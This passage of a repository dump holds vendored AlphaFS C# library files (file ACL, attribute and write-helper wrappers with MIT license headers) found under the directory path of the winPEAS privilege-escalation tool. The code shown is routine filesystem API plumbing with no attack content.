WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Security; using System.Security.AccessControl; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Applies access control list (ACL) entries described by a FileSecurity object to the specified file. /// /// /// /// A file to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the file described by the parameter. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(string path, FileSecurity fileSecurity) { SetAccessControlCore(path, null, fileSecurity, AccessControlSections.All, PathFormat.RelativePath); } #endregion // .NET /// Applies access control list (ACL) entries described by a object to the specified directory. /// /// /// /// A directory to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the directory described by the path parameter. /// One or more of the values that specifies the type of access control list (ACL) information to set. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(string path, FileSecurity fileSecurity, AccessControlSections includeSections) { SetAccessControlCore(path, null, fileSecurity, includeSections, PathFormat.RelativePath); } /// [AlphaFS] Applies access control list (ACL) entries described by a FileSecurity object to the specified file. /// /// /// /// A file to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the file described by the parameter. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(string path, FileSecurity fileSecurity, PathFormat pathFormat) { SetAccessControlCore(path, null, fileSecurity, AccessControlSections.All, pathFormat); } /// [AlphaFS] Applies access control list (ACL) entries described by a object to the specified directory. /// /// /// /// A directory to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the directory described by the path parameter. /// One or more of the values that specifies the type of access control list (ACL) information to set. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(string path, FileSecurity fileSecurity, AccessControlSections includeSections, PathFormat pathFormat) { SetAccessControlCore(path, null, fileSecurity, includeSections, pathFormat); } /// Applies access control list (ACL) entries described by a FileSecurity object to the specified file. /// /// /// /// A to a file to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the file described by the parameter. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(SafeFileHandle handle, FileSecurity fileSecurity) { SetAccessControlCore(null, handle, fileSecurity, AccessControlSections.All, PathFormat.LongFullPath); } /// Applies access control list (ACL) entries described by a FileSecurity object to the specified file. /// /// /// /// A to a file to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the file described by the parameter. /// One or more of the values that specifies the type of access control list (ACL) information to set. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(SafeFileHandle handle, FileSecurity fileSecurity, AccessControlSections includeSections) { SetAccessControlCore(null, handle, fileSecurity, includeSections, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.SetAttributes.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Sets the specified of the file or directory on the specified path. /// /// Certain file attributes, such as and , can be combined. /// Other attributes, such as , must be used alone. /// /// /// It is not possible to change the status of a File object using this method. /// /// path is empty, contains only white spaces, contains invalid characters, or the file attribute is invalid. /// The specified path is invalid, (for example, it is on an unmapped drive). /// The file cannot be found. /// path is in an invalid format. /// path specified a file that is read-only. -or- This operation is not supported on the current platform. -or- path specified a directory. -or- The caller does not have the required permission. /// The path to the file or directory. /// A bitwise combination of the enumeration values. /// Sets the specified of the file or directory on the specified path. [SecurityCritical] public static void SetAttributes(string path, FileAttributes fileAttributes) { SetAttributesCore(null, false, path, fileAttributes, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Sets the specified of the file or directory on the specified path. /// /// Certain file attributes, such as and , can be combined. /// Other attributes, such as , must be used alone. /// /// /// It is not possible to change the status of a File object using this method. /// /// path is empty, contains only white spaces, contains invalid characters, or the file attribute is invalid. /// The specified path is invalid, (for example, it is on an unmapped drive). /// The file cannot be found. /// path is in an invalid format. /// path specified a file that is read-only. -or- This operation is not supported on the current platform. -or- path specified a directory. -or- The caller does not have the required permission. /// The path to the file or directory. /// A bitwise combination of the enumeration values. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetAttributes(string path, FileAttributes fileAttributes, PathFormat pathFormat) { SetAttributesCore(null, false, path, fileAttributes, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.SetAttributesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Sets the specified of the file on the specified path. /// /// Certain file attributes, such as and , can be combined. /// Other attributes, such as , must be used alone. /// /// /// It is not possible to change the status of a File object using this method. /// /// path is empty, contains only white spaces, contains invalid characters, or the file attribute is invalid. /// The specified path is invalid, (for example, it is on an unmapped drive). /// The file cannot be found. /// path is in an invalid format. /// path specified a file that is read-only. -or- This operation is not supported on the current platform. -or- path specified a directory. -or- The caller does not have the required permission. /// The transaction. /// The path to the file. /// A bitwise combination of the enumeration values. [SecurityCritical] public static void SetAttributesTransacted(KernelTransaction transaction, string path, FileAttributes fileAttributes) { SetAttributesCore(transaction, false, path, fileAttributes, PathFormat.RelativePath); } /// [AlphaFS] Sets the specified of the file on the specified path. /// /// Certain file attributes, such as and , can be combined. /// Other attributes, such as , must be used alone. /// /// /// It is not possible to change the status of a File object using this method. /// /// path is empty, contains only white spaces, contains invalid characters, or the file attribute is invalid. /// The specified path is invalid, (for example, it is on an unmapped drive). /// The file cannot be found. /// path is in an invalid format. /// path specified a file that is read-only. -or- This operation is not supported on the current platform. -or- path specified a directory. -or- The caller does not have the required permission. /// The transaction. /// The path to the file. /// A bitwise combination of the enumeration values. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetAttributesTransacted(KernelTransaction transaction, string path, FileAttributes fileAttributes, PathFormat pathFormat) { SetAttributesCore(transaction, false, path, fileAttributes, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ThrowIOExceptionIfFsoExist.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.IO; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { /// Provides static methods for the creation, copying, deletion, moving, and opening of files, and aids in the creation of objects. /// This class cannot be inherited. /// [SuppressMessage("Microsoft.Maintainability", "CA1506:AvoidExcessiveClassCoupling")] public static partial class File { internal static void ThrowIOExceptionIfFsoExist(KernelTransaction transaction, bool isFolder, string fsoPath, PathFormat pathFormat) { if (ExistsCore(transaction, isFolder, fsoPath, pathFormat)) throw new IOException(string.Format(CultureInfo.InvariantCulture, "({0}) {1}", Win32Errors.ERROR_ALREADY_EXISTS, string.Format(CultureInfo.InvariantCulture, isFolder ? Resources.Target_File_Is_A_Directory : Resources.Target_Directory_Is_A_File, fsoPath)), (int) Win32Errors.ERROR_ALREADY_EXISTS); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllBytes.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Creates a new file, writes the specified byte array to the file, and then closes the file. If the target file already exists, it is overwritten. /// The file to write to. /// The bytes to write to the file. [SuppressMessage("Microsoft.Naming", "CA1720:IdentifiersShouldNotContainTypeNames", MessageId = "bytes")] [SecurityCritical] public static void WriteAllBytes(string path, byte[] bytes) { WriteAllBytesCore(null, path, bytes, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Creates a new file, writes the specified byte array to the file, and then closes the file. If the target file already exists, it is overwritten. /// The file to write to. /// The bytes to write to the file. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1720:IdentifiersShouldNotContainTypeNames", MessageId = "bytes")] [SecurityCritical] public static void WriteAllBytes(string path, byte[] bytes, PathFormat pathFormat) { WriteAllBytesCore(null, path, bytes, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllBytesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Creates a new file, writes the specified byte array to the file, and then closes the file. If the target file already exists, it is overwritten. /// The transaction. /// The file to write to. /// The bytes to write to the file. [SuppressMessage("Microsoft.Naming", "CA1720:IdentifiersShouldNotContainTypeNames", MessageId = "bytes")] [SecurityCritical] public static void WriteAllBytesTransacted(KernelTransaction transaction, string path, byte[] bytes) { WriteAllBytesCore(transaction, path, bytes, PathFormat.RelativePath); } /// [AlphaFS] Creates a new file, writes the specified byte array to the file, and then closes the file. If the target file already exists, it is overwritten. /// The transaction. /// The file to write to. /// The bytes to write to the file. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1720:IdentifiersShouldNotContainTypeNames", MessageId = "bytes")] [SecurityCritical] public static void WriteAllBytesTransacted(KernelTransaction transaction, string path, byte[] bytes, PathFormat pathFormat) { WriteAllBytesCore(transaction, path, bytes, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllLines.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Creates a new file, writes a collection of strings to the file, and then closes the file. /// The default behavior of the method is to write out data by using UTF-8 encoding without a byte order mark (BOM). /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to write to. /// The lines to write to the file. [SecurityCritical] public static void WriteAllLines(string path, IEnumerable contents) { WriteAppendAllLinesCore(null, path, contents, new UTF8Encoding(false, true), false, true, PathFormat.RelativePath); } /// Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to write to. /// The lines to write to the file. /// The character to use. [SecurityCritical] public static void WriteAllLines(string path, IEnumerable contents, Encoding encoding) { WriteAppendAllLinesCore(null, path, contents, encoding, false, true, PathFormat.RelativePath); } /// Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// The file to write to. /// The string array to write to the file. [SecurityCritical] public static void WriteAllLines(string path, string[] contents) { WriteAppendAllLinesCore(null, path, contents, new UTF8Encoding(false, true), false, true, PathFormat.RelativePath); } /// Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to write to. /// The string array to write to the file. /// The character to use. [SecurityCritical] public static void WriteAllLines(string path, string[] contents, Encoding encoding) { WriteAppendAllLinesCore(null, path, contents, encoding, false, true, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Creates a new file, writes a collection of strings to the file, and then closes the file. /// The default behavior of the method is to write out data by using UTF-8 encoding without a byte order mark (BOM). /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to write to. /// The lines to write to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllLines(string path, IEnumerable contents, PathFormat pathFormat) { WriteAppendAllLinesCore(null, path, contents, new UTF8Encoding(false, true), false, true, pathFormat); } /// [AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to write to. /// The lines to write to the file. /// The character to use. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllLines(string path, IEnumerable contents, Encoding encoding, PathFormat pathFormat) { WriteAppendAllLinesCore(null, path, contents, encoding, false, true, pathFormat); } /// [AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to write to. /// The string array to write to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllLines(string path, string[] contents, PathFormat pathFormat) { WriteAppendAllLinesCore(null, path, contents, new UTF8Encoding(false, true), false, true, pathFormat); } /// [AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to write to. /// The string array to write to the file. /// The character to use. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllLines(string path, string[] contents, Encoding encoding, PathFormat pathFormat) { WriteAppendAllLinesCore(null, path, contents, encoding, false, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllLinesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// [AlphaFS] Creates a new file, writes a collection of strings to the file, and then closes the file. /// The default behavior of the method is to write out data by using UTF-8 encoding without a byte order mark (BOM). /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The lines to write to the file. [SecurityCritical] public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable contents) { WriteAppendAllLinesCore(transaction, path, contents, new UTF8Encoding(false, true), false, true, PathFormat.RelativePath); } /// [AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The lines to write to the file. /// The character to use. [SecurityCritical] public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable contents, Encoding encoding) { WriteAppendAllLinesCore(transaction, path, contents, encoding, false, true, PathFormat.RelativePath); } /// [AlphaFS] Creates a new file, writes a collection of strings to the file, and then closes the file. /// The default behavior of the method is to write out data by using UTF-8 encoding without a byte order mark (BOM). /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The string array to write to the file. [SecurityCritical] public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, string[] contents) { WriteAppendAllLinesCore(transaction, path, contents, new UTF8Encoding(false, true), false, true, PathFormat.RelativePath); } /// [AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The string array to write to the file. /// The character to use. [SecurityCritical] public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, string[] contents, Encoding encoding) { WriteAppendAllLinesCore(transaction, path, contents, encoding, false, true, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Creates a new file, writes a collection of strings to the file, and then closes the file. /// The default behavior of the method is to write out data by using UTF-8 encoding without a byte order mark (BOM). /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The lines to write to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable contents, PathFormat pathFormat) { WriteAppendAllLinesCore(transaction, path, contents, new UTF8Encoding(false, true), false, true, pathFormat); } /// [AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The lines to write to the file. /// The character to use. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable contents, Encoding encoding, PathFormat pathFormat) { WriteAppendAllLinesCore(transaction, path, contents, encoding, false, true, pathFormat); } /// [AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The string array to write to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, string[] contents, PathFormat pathFormat) { WriteAppendAllLinesCore(transaction, path, contents, new UTF8Encoding(false, true), false, true, pathFormat); } /// [AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The string array to write to the file. /// The character to use. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, string[] contents, Encoding encoding, PathFormat pathFormat) { WriteAppendAllLinesCore(transaction, path, contents, encoding, false, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllText.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Creates a new file, writes the specified string to the file, and then closes the file. If the target file already exists, it is overwritten. /// This method uses UTF-8 encoding without a Byte-Order Mark (BOM) /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to write to. /// The string to write to the file. [SecurityCritical] public static void WriteAllText(string path, string contents) { WriteAppendAllLinesCore(null, path, new[] {contents}, new UTF8Encoding(false, true), false, false, PathFormat.RelativePath); } /// Creates a new file, writes the specified string to the file using the specified encoding, and then closes the file. If the target file already exists, it is overwritten. /// The file to write to. /// The string to write to the file. /// The applied to the contents of the file. [SecurityCritical] public static void WriteAllText(string path, string contents, Encoding encoding) { WriteAppendAllLinesCore(null, path, new[] {contents}, encoding, false, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Creates a new file, writes the specified string to the file, and then closes the file. If the target file already exists, it is overwritten. /// This method uses UTF-8 encoding without a Byte-Order Mark (BOM) /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to write to. /// The string to write to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllText(string path, string contents, PathFormat pathFormat) { WriteAppendAllLinesCore(null, path, new[] {contents}, new UTF8Encoding(false, true), false, false, pathFormat); } /// [AlphaFS] Creates a new file, writes the specified string to the file using the specified encoding, and then closes the file. If the target file already exists, it is overwritten. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to write to. /// The string to write to the file. /// The applied to the contents of the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllText(string path, string contents, Encoding encoding, PathFormat pathFormat) { WriteAppendAllLinesCore(null, path, new[] {contents}, encoding, false, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllTextTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// [AlphaFS] Creates a new file as part of a transaction, write the contents to the file, and then closes the file. If the target file already exists, it is overwritten. /// This method uses UTF-8 encoding without a Byte-Order Mark (BOM) /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The string to write to the file. [SecurityCritical] public static void WriteAllTextTransacted(KernelTransaction transaction, string path, string contents) { WriteAppendAllLinesCore(transaction, path, new[] {contents}, new UTF8Encoding(false, true), false, false, PathFormat.RelativePath); } /// [AlphaFS] Creates a new file as part of a transaction, writes the specified string to the file using the specified encoding, and then closes the file. If the target file already exists, it is overwritten. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The string to write to the file. /// The applied to the contents of the file. [SecurityCritical] public static void 